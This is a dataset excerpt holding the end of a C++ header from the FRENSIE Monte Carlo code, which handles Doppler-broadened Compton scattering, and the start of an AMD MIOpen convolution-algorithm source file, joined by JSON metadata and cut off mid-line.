+= iterations;\n}\n\n// Sample an electron momentum from the subshell distribution\ntemplate<typename ComptonProfilePolicy>\ndouble StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::sampleSubshellMomentum(\n                                     const double incoming_energy,\n                                     const double scattering_angle_cosine,\n                                     Data::SubshellType subshell ) const\n{\n  // Make sure the incoming energy is valid\n  testPrecondition( incoming_energy >=\n                    this->getSubshellBindingEnergy( subshell ) );\n  // Make sure the scattering angle cosine is valid\n  testPrecondition( scattering_angle_cosine >= -1.0 );\n  testPrecondition( scattering_angle_cosine <= 1.0 );\n  // Make sure the subshell is valid\n  testPrecondition( this->isValidSubshell( subshell ) );\n\n  // Get the subshell binding energy\n  const double subshell_binding_energy =\n    this->getSubshellBindingEnergy( subshell );\n\n  // Get the Compton profile for the subshell\n  const ComptonProfile& compton_profile = this->getComptonProfile( subshell );\n\n  return this->sampleSubshellMomentum( incoming_energy,\n                                       scattering_angle_cosine,\n                                       subshell_binding_energy,\n                                       compton_profile );\n}\n\n// Sample an electron momentum from the subshell distribution\ntemplate<typename ComptonProfilePolicy>\ndouble StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::sampleSubshellMomentum(\n                                 const double incoming_energy,\n                                 const double scattering_angle_cosine,\n                                 const double subshell_binding_energy,\n                                 const ComptonProfile& compton_profile ) const\n{\n  // Make sure the incoming energy is valid\n  testPrecondition( incoming_energy > 0.0 );\n  // Make sure the scattering angle cosine is valid\n  testPrecondition( scattering_angle_cosine >= -1.0 );\n  testPrecondition( scattering_angle_cosine <= 1.0 );\n\n  // Calculate the maximum electron momentum projection\n  ComptonProfile::MomentumQuantity pz_max = ComptonProfile::MomentumUnit()*\n    calculateMaxElectronMomentumProjection( incoming_energy,\n                                            subshell_binding_energy,\n                                            scattering_angle_cosine );\n\n  // Sample an electron momentum projection\n  ComptonProfile::MomentumQuantity pz =\n    ComptonProfilePolicy::sample( compton_profile, pz_max );\n\n  return pz.value();\n}\n\n// Check if the subshell is valid\ntemplate<typename ComptonProfilePolicy>\nbool StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::isValidSubshell(\n                                            const Data::SubshellType subshell ) const\n{\n  return d_endf_subshell_order.right.find( subshell ) !=\n    d_endf_subshell_order.right.end();\n}\n\n// Return the occupancy of a subshell (default is the ENDF occupancy)\ntemplate<typename ComptonProfilePolicy>\ninline double StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::getSubshellOccupancy( const Data::SubshellType subshell ) const\n{\n  // Make sure the subshell is valid\n  testPrecondition( this->isValidSubshell( subshell ) );\n\n  unsigned endf_subshell_index = this->getENDFSubshellIndex( subshell );\n\n  return d_endf_subshell_occupancies[endf_subshell_index];\n}\n\n// Return the old subshell index corresponding to the subshell\ntemplate<typename ComptonProfilePolicy>\nunsigned StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::getOldSubshellIndex(\n                                            const Data::SubshellType subshell ) const\n{\n  return d_subshell_converter->convertSubshellToIndex( subshell );\n}\n\n// Return the endf subshell index corresponding to the subshell\ntemplate<typename ComptonProfilePolicy>\nunsigned StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::getENDFSubshellIndex(\n                                            const Data::SubshellType subshell ) const\n{\n  // Make sure the subshell is valid\n  testPrecondition( this->isValidSubshell( subshell ) );\n\n  return d_endf_subshell_order.right.find( subshell )->second;\n}\n\n// Return the subshell corresponding to the endf subshell index\ntemplate<typename ComptonProfilePolicy>\nData::SubshellType StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::getSubshell(\n                                     const size_t endf_subshell_index ) const\n{\n  SubshellOrderMapType::left_map::const_iterator endf_subshell_index_it =\n    d_endf_subshell_order.left.find( endf_subshell_index );\n\n  // Make sure the index was found\n  testPostcondition( endf_subshell_index_it !=\n                     d_endf_subshell_order.left.end() );\n\n  return endf_subshell_index_it->second;\n}\n\n// Return the Compton profile for a subshell\ntemplate<typename ComptonProfilePolicy>\nconst ComptonProfile& StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::getComptonProfile(\n                                           const Data::SubshellType& subshell ) const\n{\n  // Make sure the subshell is valid\n  testPrecondition( this->isValidSubshell( subshell ) );\n\n  // Get the old subshell corresponding to the subshell type\n  unsigned old_subshell_index = this->getOldSubshellIndex( subshell );\n\n  return *d_compton_profile_array[old_subshell_index];\n}\n\n// Return the Compton profile for an old subshell index\ntemplate<typename ComptonProfilePolicy>\nconst ComptonProfile& StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::getComptonProfile(\n                                     const unsigned& old_subshell_index ) const\n{\n  // Make sure the old subshell index is valid\n  testPrecondition( old_subshell_index <\n                    d_compton_profile_array.size() );\n\n  return *d_compton_profile_array[old_subshell_index];\n}\n\n// Sample an ENDF subshell\ntemplate<typename ComptonProfilePolicy>\nData::SubshellType StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::sampleENDFInteractionSubshell() const\n{\n  size_t endf_subshell_index;\n\n  d_endf_subshell_occupancy_distribution->sampleAndRecordBinIndex(\n                                                         endf_subshell_index );\n\n  return this->getSubshell( endf_subshell_index );\n}\n\nEXTERN_EXPLICIT_TEMPLATE_CLASS_INST( StandardCompleteDopplerBroadenedPhotonEnergyDistribution<FullComptonProfilePolicy> );\nEXTERN_EXPLICIT_TEMPLATE_CLASS_INST( StandardCompleteDopplerBroadenedPhotonEnergyDistribution<HalfComptonProfilePolicy> );\nEXTERN_EXPLICIT_TEMPLATE_CLASS_INST( StandardCompleteDopplerBroadenedPhotonEnergyDistribution<DoubledHalfComptonProfilePolicy> );\n\n} // end MonteCarlo namespace\n\n#endif // end MONTE_CARLO_STANDARD_COMPLETE_DOPPLER_BROADENED_PHOTON_ENERGY_DISTRIBUTION_DEF_HPP\n\n//---------------------------------------------------------------------------//\n// end MonteCarlo_StandardCompleteDopplerBroadenedPhotonEnergyDistribution_def.hpp\n//---------------------------------------------------------------------------//\n", "meta": {"hexsha": "41626e6b7f46e04441ab738c05f18bc0c1095ab1", "size": 39028, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "packages/monte_carlo/collision/photon/src/MonteCarlo_StandardCompleteDopplerBroadenedPhotonEnergyDistribution_def.hpp", "max_stars_repo_name": "bam241/FRENSIE", "max_stars_repo_head_hexsha": "e1760cd792928699c84f2bdce70ff54228e88094", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 10.0, "max_stars_repo_stars_event_min_datetime": "2019-11-14T19:58:30.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-04T17:44:09.000Z", "max_issues_repo_path": "packages/monte_carlo/collision/photon/src/MonteCarlo_StandardCompleteDopplerBroadenedPhotonEnergyDistribution_def.hpp", "max_issues_repo_name": "bam241/FRENSIE", "max_issues_repo_head_hexsha": "e1760cd792928699c84f2bdce70ff54228e88094", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 43.0, "max_issues_repo_issues_event_min_datetime": "2020-03-03T19:59:20.000Z", "max_issues_repo_issues_event_max_datetime": "2021-09-08T03:36:08.000Z", "max_forks_repo_path": "packages/monte_carlo/collision/photon/src/MonteCarlo_StandardCompleteDopplerBroadenedPhotonEnergyDistribution_def.hpp", "max_forks_repo_name": "bam241/FRENSIE", "max_forks_repo_head_hexsha": "e1760cd792928699c84f2bdce70ff54228e88094", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 6.0, "max_forks_repo_forks_event_min_datetime": "2020-02-12T17:37:07.000Z", "max_forks_repo_forks_event_max_datetime": "2020-09-08T18:59:51.000Z", "avg_line_length": 41.7411764706, "max_line_length": 157, "alphanum_fraction": 0.6586297018, "num_tokens": 7617, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5389832206876841, "lm_q2_score": 0.2509127924867847, "lm_q1q2_score": 0.1352377850062678}}
{"text": "/*******************************************************************************\n *\n * MIT License\n *\n * Copyright (c) 2020 Advanced Micro Devices, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n *******************************************************************************/\n#include <miopen/algorithm.hpp>\n#include <miopen/conv_algo_name.hpp>\n#include <miopen/check_numerics.hpp>\n#include <miopen/config.h>\n#include <miopen/convolution.hpp>\n#include <miopen/conv_algo_name.hpp>\n#include <miopen/db.hpp>\n#include <miopen/db_record.hpp>\n#include <miopen/env.hpp>\n#include <miopen/find_db.hpp>\n#include <miopen/finddb_kernel_cache_key.hpp>\n#include <miopen/find_controls.hpp>\n#include <miopen/float_equal.hpp>\n#include <miopen/invoker.hpp>\n#include <miopen/kernel.hpp>\n#include <miopen/solver.hpp>\n#include <miopen/tensor_ops.hpp>\n#include <miopen/tensor.hpp>\n#include <miopen/util.hpp>\n#include <miopen/visit_float.hpp>\n#include <miopen/datatype.hpp>\n#include <miopen/any_solver.hpp>\n#include <miopen/conv/tensors.hpp>\n#include <miopen/conv/compiled_in_parameters.hpp>\n#include <miopen/conv/data_invoke_params.hpp>\n#include <miopen/conv/wrw_invoke_params.hpp>\n\n#if MIOPEN_USE_SCGEMM\n#include <miopen/scgemm_utils.hpp>\n#endif\n\n#if MIOPEN_USE_GEMM\n#include <miopen/gemm_v2.hpp>\n#endif\n\n#include <cassert>\n#include <type_traits>\n\n#include <boost/range/adaptors.hpp>\n\nnamespace miopen {\n\nMIOPEN_DECLARE_ENV_VAR(MIOPEN_DEBUG_CONV_GEMM)\nMIOPEN_DECLARE_ENV_VAR(MIOPEN_DEBUG_CONV_DIRECT)\nMIOPEN_DECLARE_ENV_VAR(MIOPEN_DEBUG_CONV_WINOGRAD)\nMIOPEN_DECLARE_ENV_VAR(MIOPEN_DEBUG_CONV_IMPLICIT_GEMM)\nMIOPEN_DECLARE_ENV_VAR(MIOPEN_CONV_PRECISE_ROCBLAS_TIMING)\nMIOPEN_DECLARE_ENV_VAR(MIOPEN_DEBUG_CONV_FFT)\nMIOPEN_DECLARE_ENV_VAR(MIOPEN_DEBUG_CONV_SCGEMM)\nMIOPEN_DECLARE_ENV_VAR(MIOPEN_DEBUG_CONV_IMMED_FALLBACK)\n\n#if MIOPEN_USE_GEMM\n#ifdef CPPCHECK\n// Keep the value unknown in cppcheck since this can differ between opencl and hip\nstatic bool IsUseRocBlas;\n#else\nstatic const bool IsUseRocBlas = (MIOPEN_USE_ROCBLAS == 1);\n#endif\n\nstatic inline bool IsAnyBufferBF16(const TensorDescriptor& xDesc,\n                                   const TensorDescriptor& yDesc,\n                                   const TensorDescriptor& wDesc)\n{\n    return xDesc.GetType() == miopenBFloat16 || yDesc.GetType() == miopenBFloat16 ||\n           wDesc.GetType() == miopenBFloat16;\n}\n#endif\n\nsize_t GetKernelGlobalWorkDim(const KernelInvoke& kernel, int dim)\n{\n#if(MIOPEN_BACKEND_HIP)\n    return kernel.gdims[dim];\n#else\n    return kernel.global_work_dim[dim];\n#endif\n}\n\nsize_t GetKernelLocalWorkDim(const KernelInvoke& kernel, int dim)\n{\n#if(MIOPEN_BACKEND_HIP)\n    return kernel.ldims[dim];\n#else\n    // sometimes local_work_dim = {0,0,0} look in issue #1724\n    return kernel.local_work_dim[dim];\n#endif\n}\n\nstatic inline void AddKernels(const Handle& handle,\n                              const std::string& algorithm_name,\n                              const std::string& network_config,\n                              const miopen::solver::ConvSolution& s,\n                              std::vector<KernelInvoke>* const kernels)\n{\n    if(!algorithm_name.empty() && !network_config.empty())\n    {\n        handle.ClearKernels(algorithm_name, network_config);\n    }\n    else\n    {\n        assert(algorithm_name.empty() && network_config.empty());\n    }\n    int i = 0;\n    for(auto& k : s.construction_params)\n    {\n        MIOPEN_LOG_I2(k.kernel_name);\n        auto kernel = handle.AddKernel(algorithm_name,\n                                       network_config,\n                                       k.kernel_file,\n                                       k.kernel_name,\n                                       k.l_wk,\n                                       k.g_wk,\n                                       k.comp_options,\n                                       i);\n        if(kernels != nullptr)\n        {\n            kernels->push_back(kernel);\n        }\n        ++i;\n    }\n}\n\nstatic inline void ValidateGroupCount(const TensorDescriptor& xDesc,\n                                      const TensorDescriptor& wDesc,\n                                      const ConvolutionDescriptor& conv)\n{\n    if(conv.group_count == 1)\n    {\n        if(xDesc.GetLengths()[1] != wDesc.GetLengths()[1])\n            MIOPEN_THROW(miopenStatusBadParm, \"Invalid filter channel number\");\n    }\n    if(conv.group_count > 1)\n    {\n        if(xDesc.GetLengths()[1] % conv.group_count != 0 ||\n           wDesc.GetLengths()[0] % conv.group_count != 0 ||\n           conv.group_count > xDesc.GetLengths()[1] || conv.group_count > wDesc.GetLengths()[0] ||\n           conv.group_count < 1)\n            MIOPEN_THROW(miopenStatusBadParm, \"Invalid group number\");\n        if(xDesc.GetLengths()[1] / conv.group_count != wDesc.GetLengths()[1])\n            MIOPEN_THROW(miopenStatusBadParm, \"Invalid filter channel number\");\n    }\n}\n\n// cppcheck-suppress constParameter\ninline int EvaluateSCGemmSolution(Handle& handle,\n                                  const miopen::solver::ConvSolution& solution,\n                                  ConstData_t x,\n                                  ConstData_t w,\n                                  Data_t y,\n                                  Data_t workSpace,\n                                  size_t workSpaceSize,\n                                  const ConvolutionContext& params,\n                                  int mask,\n                                  float coef,\n                                  float& elapsed)\n{\n#if MIOPEN_USE_SCGEMM\n    // Fail if required workspace is not provided.\n    if(solution.workspce_sz != 0)\n    {\n        if(workSpace == nullptr || workSpaceSize < solution.workspce_sz)\n        {\n            MIOPEN_LOG_E(\"Expected workspace is \" << solution.workspce_sz << \" but is \"\n                                                  << workSpaceSize);\n            return -1;\n        }\n    }\n\n    std::vector<KernelInvoke> kernels;\n    AddKernels(handle, \"\", \"\", solution, &kernels);\n\n    elapsed = CallSCGemm(handle, params, x, y, w, nullptr, workSpace, kernels, mask, coef);\n    return 0;\n#else\n    std::ignore = handle;\n    std::ignore = solution;\n    std::ignore = x;\n    std::ignore = w;\n    std::ignore = y;\n    std::ignore = workSpace;\n    std::ignore = workSpaceSize;\n    std::ignore = params;\n    std::ignore = mask;\n    std::ignore = coef;\n    std::ignore = elapsed;\n    elapsed     = 0;\n    return -1;\n#endif\n}\n\nstd::vector<miopen::solver::ConvSolution>\nConvolutionDescriptor::FindWinogradSolutions(const ConvolutionContext& ctx) const\n{\n    if(miopen::IsDisabled(MIOPEN_DEBUG_CONV_WINOGRAD{}))\n        return {};\n    try\n    {\n        return FindAllWinogradSolutions(ctx);\n    }\n    catch(miopen::Exception& ex)\n    {\n        MIOPEN_LOG_WE(ex.what());\n        return {};\n    }\n}\n\nstd::vector<miopen::solver::ConvSolution>\nConvolutionDescriptor::FindDataDirectSolutions(Handle& handle,\n                                               const TensorDescriptor& xDesc,\n                                               const TensorDescriptor& wDesc,\n                                               const TensorDescriptor& yDesc,\n                                               bool exhaustiveSearch,\n                                               bool isForward,\n                                               const ConvolutionUserBuffers& bufs) const\n{\n\n    if(miopen::IsDisabled(MIOPEN_DEBUG_CONV_DIRECT{}))\n        return {};\n\n    const auto dir    = isForward ? conv::Direction::Forward : conv::Direction::BackwardData;\n    auto ctx          = ConvolutionContext{xDesc, wDesc, yDesc, *this, dir};\n    ctx.do_search     = exhaustiveSearch;\n    ctx.save_srch_req = true;\n    ctx.general_compile_options = \"\";\n    ctx.SetStream(&handle);\n    ctx.SetBufs(bufs);\n    ctx.DetectRocm();\n    ctx.SetupFloats();\n\n    try\n    {\n        return FindAllDirectSolutions(ctx);\n    }\n    catch(miopen::Exception& ex)\n    {\n        MIOPEN_LOG_WE(ex.what());\n        return {};\n    }\n}\n\nstd::vector<miopen::solver::ConvSolution>\nConvolutionDescriptor::FindDataImplicitGemmSolutions(Handle& handle,\n                                                     const TensorDescriptor& xDesc,\n                                                     const TensorDescriptor& wDesc,\n                                                     const TensorDescriptor& yDesc,\n                                                     bool exhaustiveSearch,\n                                                     bool isForward,\n                                                     const ConvolutionUserBuffers& bufs) const\n{\n\n    if(miopen::IsDisabled(MIOPEN_DEBUG_CONV_IMPLICIT_GEMM{}))\n        return {};\n\n    const auto dir    = isForward ? conv::Direction::Forward : conv::Direction::BackwardData;\n    auto ctx          = ConvolutionContext{xDesc, wDesc, yDesc, *this, dir};\n    ctx.do_search     = exhaustiveSearch;\n    ctx.save_srch_req = true;\n    ctx.general_compile_options = \"\";\n    ctx.SetStream(&handle);\n    ctx.SetBufs(bufs);\n    ctx.DetectRocm();\n    ctx.SetupFloats();\n\n    try\n    {\n        return FindAllImplicitGemmSolutions(ctx);\n    }\n    catch(miopen::Exception& ex)\n    {\n        MIOPEN_LOG_WE(ex.what());\n        return {};\n    }\n}\n\nstd::vector<miopen::solver::ConvSolution>\nConvolutionDescriptor::FindSCGemmSolutions(Handle& handle,\n                                           const TensorDescriptor& xDesc,\n                                           const TensorDescriptor& wDesc,\n                                           const TensorDescriptor& yDesc,\n                                           bool exhaustiveSearch,\n                                           bool isForward,\n                                           const ConvolutionUserBuffers& bufs) const\n{\n    if(miopen::IsDisabled(MIOPEN_DEBUG_CONV_SCGEMM{}))\n        return {};\n\n    const auto dir    = isForward ? conv::Direction::Forward : conv::Direction::BackwardData;\n    auto ctx          = ConvolutionContext{xDesc, wDesc, yDesc, *this, dir};\n    ctx.do_search     = exhaustiveSearch;\n    ctx.save_srch_req = true;\n    ctx.general_compile_options = \"\";\n    ctx.SetStream(&handle);\n    ctx.SetBufs(bufs);\n    ctx.DetectRocm();\n    ctx.SetupFloats();\n\n    try\n    {\n        return FindAllFwdSCGemmSolutions(ctx);\n    }\n    catch(miopen::Exception& ex)\n    {\n        MIOPEN_LOG_WE(ex.what());\n        return {};\n    }\n}\n\ntemplate <class InvokeParams>\nstatic void EvaluateInvokers(Handle& handle,\n                             const std::vector<solver::ConvSolution>& solutions,\n                             const AlgorithmName& algorithm_name,\n                             const NetworkConfig& network_config,\n                             const InvokeParams& invoke_ctx,\n                             DbRecord& record)\n{\n    miopen::solver::ConvSolution selected{miopenStatusUnknownError};\n    float best = std::numeric_limits<float>::max();\n    Invoker best_invoker;\n\n    for(const auto& sol : solutions)\n    {\n        if(sol.workspce_sz > 0)\n        {\n            if(invoke_ctx.workSpace == nullptr)\n            {\n                MIOPEN_LOG_I(\"Warning: skipping solver <\" << sol.solver_id\n                                                          << \"> due to no workspace provided (\"\n                                                          << sol.workspce_sz\n                                                          << \" required)\");\n                continue;\n            }\n            if(invoke_ctx.workSpaceSize < sol.workspce_sz)\n            {\n                MIOPEN_LOG_I(\"Warning: skipping solver <\" << sol.solver_id\n                                                          << \"> due to insufficient workspace (\"\n                                                          << invoke_ctx.workSpaceSize\n                                                          << \" < \"\n                                                          << sol.workspce_sz\n                                                          << \")\");\n                continue;\n            }\n        }\n\n        if(!sol.invoker_factory)\n            MIOPEN_THROW(\"Invoker is not provided by solver \" + sol.solver_id);\n\n        const auto invoker = handle.PrepareInvoker(*sol.invoker_factory, sol.construction_params);\n        invoker(handle, invoke_ctx);\n        const auto elapsed = handle.GetKernelTime();\n\n        MIOPEN_LOG_I(sol << \": \" << elapsed << (elapsed < best ? \" < \" : \" >= \") << best);\n        if(elapsed < best)\n        {\n            best         = elapsed;\n            selected     = sol;\n            best_invoker = invoker;\n        }\n    }\n\n    if(selected.Succeeded())\n    {\n        handle.RegisterInvoker(best_invoker, network_config, selected.solver_id, algorithm_name);\n        MIOPEN_LOG_I(\n            \"Selected: \" << selected << \": \" << best << \", workspce_sz = \" << selected.workspce_sz);\n        record.SetValues(algorithm_name,\n                         FindDbData{selected.solver_id,\n                                    best,\n                                    selected.workspce_sz,\n                                    FindDbKCacheKey::MakeUnused(algorithm_name)});\n    }\n}\n\nstatic void DirConvFindCore(Handle& handle,\n                            const TensorDescriptor& xDesc,\n                            ConstData_t x,\n                            const TensorDescriptor& wDesc,\n                            ConstData_t w,\n                            const TensorDescriptor& yDesc,\n                            Data_t y,\n                            Data_t workSpace,\n                            size_t workSpaceSize,\n                            const ConvolutionDescriptor& conv,\n                            bool exhaustiveSearch,\n                            DbRecord& record,\n                            const ConvolutionContext& ctx,\n                            bool use_winograd_only)\n{\n    AutoEnableProfiling enableProfiling{handle};\n    ValidateGroupCount(xDesc, wDesc, conv);\n\n#if MIOPEN_USE_GEMM\n    if(!use_winograd_only && !miopen::IsDisabled(MIOPEN_DEBUG_CONV_GEMM{}) &&\n       !(IsAnyBufferBF16(xDesc, yDesc, wDesc) && !IsUseRocBlas))\n    { // GEMM algo\n        std::size_t in_n, in_c;\n        std::tie(in_n, in_c) = tie_pick<0, 1>()(xDesc.GetLengths());\n\n        std::size_t wei_k = wDesc.GetLengths()[0];\n\n        std::size_t spatial_dim = conv.GetSpatialDimension();\n\n        auto in_spatial  = boost::adaptors::slice(xDesc.GetLengths(), 2, 2 + spatial_dim);\n        auto wei_spatial = boost::adaptors::slice(wDesc.GetLengths(), 2, 2 + spatial_dim);\n        auto out_spatial = boost::adaptors::slice(yDesc.GetLengths(), 2, 2 + spatial_dim);\n\n        float time_gemm           = 0;\n        const bool time_precision = (!IsDisabled(MIOPEN_CONV_PRECISE_ROCBLAS_TIMING{}));\n        // Use transpose path 1x1, stride=2\n        if(conv.GetSpatialDimension() == 2 &&\n           miopen::all_of(wei_spatial, [](auto v) { return v == 1; }) &&\n           miopen::all_of(conv.GetConvPads(), [](auto v) { return v == 0; }) &&\n           miopen::all_of(conv.GetConvStrides(), [](auto v) { return v == 2; }))\n        {\n            size_t workspace_req = conv.ForwardGetWorkSpaceSizeGEMMTranspose(xDesc, yDesc);\n            if(workSpace != nullptr && workSpaceSize >= workspace_req)\n            {\n                if(conv.group_count > 1)\n                {\n                    MIOPEN_LOG_FUNCTION(\"groupconv, 1x1 u2xv2\");\n                }\n                else\n                {\n                    MIOPEN_LOG_FUNCTION(\"convolution, 1x1 u2xv2\");\n                }\n\n                // y = CNHW2NCHW(w * NCHW2CNHW(x))\n                transpose_NCHW2CNHW(handle,\n                                    in_n,\n                                    in_c,\n                                    in_spatial[0],\n                                    in_spatial[1],\n                                    out_spatial[0],\n                                    out_spatial[1],\n                                    x,\n                                    workSpace,\n                                    0,\n                                    0,\n                                    conv.GetConvStrides()[0],\n                                    conv.GetConvStrides()[1],\n                                    xDesc.GetType());\n                time_gemm = handle.GetKernelTime();\n\n                std::size_t out_spatial_size = std::accumulate(out_spatial.begin(),\n                                                               out_spatial.end(),\n                                                               std::size_t(1),\n                                                               std::multiplies<std::size_t>());\n\n                std::size_t x_t_size = in_n * in_c * out_spatial_size;\n\n                std::size_t wksp_offset = 0;\n                if(wDesc.GetType() == miopenInt8)\n                {\n                    wksp_offset = x_t_size;\n                    transpose_packed_MN2NM(handle,\n                                           in_c,\n                                           static_cast<int>(in_n * out_spatial_size),\n                                           0,\n                                           wksp_offset,\n                                           workSpace,\n                                           workSpace,\n                                           xDesc.GetType());\n\n                    time_gemm += handle.GetKernelTime();\n\n                    x_t_size *= 2;\n                }\n                if((wDesc.GetType() == miopenInt8 || wDesc.GetType() == miopenInt8x4) &&\n                   (yDesc.GetType() == miopenInt32 || yDesc.GetType() == miopenFloat))\n                    x_t_size /= 4;\n\n                FindDbKCacheKey kcache_key;\n\n                GemmDescriptor gemm_desc =\n                    conv.group_count > 1 ? CreateGemmDescriptorGroupConvCNHWFwd(\n                                               wDesc, xDesc, yDesc, conv.group_count)\n                                         : CreateGemmDescriptorConvCNHWFwd(wDesc, xDesc, yDesc);\n\n                miopenStatus_t gemm_status =\n                    CallGemmTimeMeasure(handle,\n                                        gemm_desc,\n                                        w,\n                                        0,\n                                        workSpace,\n                                        wksp_offset,\n                                        workSpace,\n                                        x_t_size,\n                                        &kcache_key,\n                                        time_precision,\n                                        conv.group_count > 1 ? callGemmStridedBatched : callGemm);\n\n                time_gemm += handle.GetKernelTime();\n\n                transpose_CNHW2NCHW(handle,\n                                    in_n,\n                                    wei_k,\n                                    out_spatial[0],\n                                    out_spatial[1],\n                                    out_spatial[0],\n                                    out_spatial[1],\n                                    workSpace,\n                                    y,\n                                    x_t_size,\n                                    0,\n                                    1,\n                                    1,\n                                    yDesc.GetType());\n                time_gemm += handle.GetKernelTime();\n\n                if((wDesc.GetType() == miopenInt8 || wDesc.GetType() == miopenInt8x4) &&\n                   yDesc.GetType() != miopenInt32)\n                {\n                    TensorDescriptor ygemmDesc(miopenInt32, yDesc.GetLengths(), yDesc.GetStrides());\n\n                    CastTensor(handle, &conv.lowp_quant, ygemmDesc, y, yDesc, y, 0, 0);\n                    time_gemm += handle.GetKernelTime();\n                }\n\n                if(gemm_status == miopenStatusSuccess)\n                    record.SetValues(\n                        \"miopenConvolutionFwdAlgoGEMM\",\n                        FindDbData{\n                            \"gemm\", time_gemm, workspace_req, kcache_key}); // Todo: gemm solver id?\n            }\n        }\n        // 1x1_stride=1 with GEMM and zero workspace\n        else if(miopen::all_of(wei_spatial, [](auto v) { return v == 1; }) &&\n                miopen::all_of(conv.GetConvPads(), [](auto v) { return v == 0; }) &&\n                miopen::all_of(conv.GetConvStrides(), [](auto v) { return v == 1; }))\n        {\n            if(conv.group_count > 1)\n            {\n                MIOPEN_LOG_FUNCTION(\"groupconv, 1x1\");\n            }\n            else\n            {\n                MIOPEN_LOG_FUNCTION(\"convolution, 1x1\");\n            }\n\n            // y = w * x\n            FindDbKCacheKey kcache_key;\n            miopenStatus_t gemm_status = miopenStatusNotInitialized;\n            size_t workspace_req       = 0;\n            if(wDesc.GetType() == miopenInt8)\n            {\n                workspace_req            = conv.ForwardGetWorkSpaceSizeGEMM(wDesc, yDesc);\n                GemmDescriptor gemm_desc = CreateGemmDescriptorConvFwd(wDesc, xDesc, yDesc);\n\n                std::size_t out_offset      = 0;\n                std::size_t in_offset       = 0;\n                std::size_t in_spatial_size = std::accumulate(in_spatial.begin(),\n                                                              in_spatial.end(),\n                                                              std::size_t(1),\n                                                              std::multiplies<std::size_t>());\n                transpose_packed_MN2NM(\n                    handle, in_c, in_spatial_size, in_offset, 0, x, workSpace, xDesc.GetType());\n\n                time_gemm += (in_n * handle.GetKernelTime());\n\n                gemm_status = CallGemmTimeMeasure(handle,\n                                                  gemm_desc,\n                                                  w,\n                                                  0,\n                                                  workSpace,\n                                                  0,\n                                                  y,\n                                                  out_offset,\n                                                  &kcache_key,\n                                                  time_precision,\n                                                  callGemm);\n\n                time_gemm += (in_n * handle.GetKernelTime());\n            }\n            else\n            {\n                GemmDescriptor gemm_desc =\n                    conv.group_count > 1\n                        ? CreateGemmDescriptorGroupConvFwd(wDesc, xDesc, yDesc, conv.group_count)\n                        : CreateGemmStridedBatchedDescriptorConv1x1Fwd(wDesc, xDesc, yDesc);\n\n                gemm_status = CallGemmTimeMeasure(handle,\n                                                  gemm_desc,\n                                                  w,\n                                                  0,\n                                                  x,\n                                                  0,\n                                                  y,\n                                                  0,\n                                                  &kcache_key,\n                                                  time_precision,\n                                                  callGemmStridedBatched);\n\n                time_gemm = handle.GetKernelTime();\n                if(conv.group_count > 1)\n                    time_gemm *= in_n;\n            }\n\n            if((wDesc.GetType() == miopenInt8 || wDesc.GetType() == miopenInt8x4) &&\n               yDesc.GetType() != miopenInt32)\n            {\n                TensorDescriptor ygemmDesc(miopenInt32, yDesc.GetLengths(), yDesc.GetStrides());\n\n                CastTensor(handle, &conv.lowp_quant, ygemmDesc, y, yDesc, y, 0, 0);\n                time_gemm += handle.GetKernelTime();\n            }\n\n            if(gemm_status == miopenStatusSuccess)\n                record.SetValues(\n                    \"miopenConvolutionFwdAlgoGEMM\",\n                    FindDbData{\n                        \"gemm\", time_gemm, workspace_req, kcache_key}); // Todo: gemm solver id?\n        }\n        // if not 1x1\n        else if(workSpace != nullptr &&\n                workSpaceSize >= (conv.ForwardGetWorkSpaceSizeGEMM(wDesc, yDesc)))\n        {\n            if(conv.group_count > 1)\n            {\n                MIOPEN_LOG_FUNCTION(\"groupconv, non 1x1\");\n            }\n            else\n            {\n                MIOPEN_LOG_FUNCTION(\"convolution, non 1x1\");\n            }\n\n            // y = w * Im2Col(x)\n            float time_im2col = 0;\n            int in_offset     = 0;\n            time_im2col       = Im2ColGPU(handle,\n                                    conv.GetSpatialDimension(),\n                                    x,\n                                    in_offset,\n                                    in_c,\n                                    in_spatial,\n                                    wei_spatial,\n                                    out_spatial,\n                                    conv.GetConvPads(),\n                                    conv.GetConvStrides(),\n                                    conv.GetConvDilations(),\n                                    workSpace,\n                                    xDesc.GetType());\n\n            std::size_t wksp_offset = 0;\n            if(wDesc.GetType() == miopenInt8)\n            {\n                std::size_t wei_spatial_size = std::accumulate(wei_spatial.begin(),\n                                                               wei_spatial.end(),\n                                                               std::size_t(1),\n                                                               std::multiplies<std::size_t>());\n\n                std::size_t 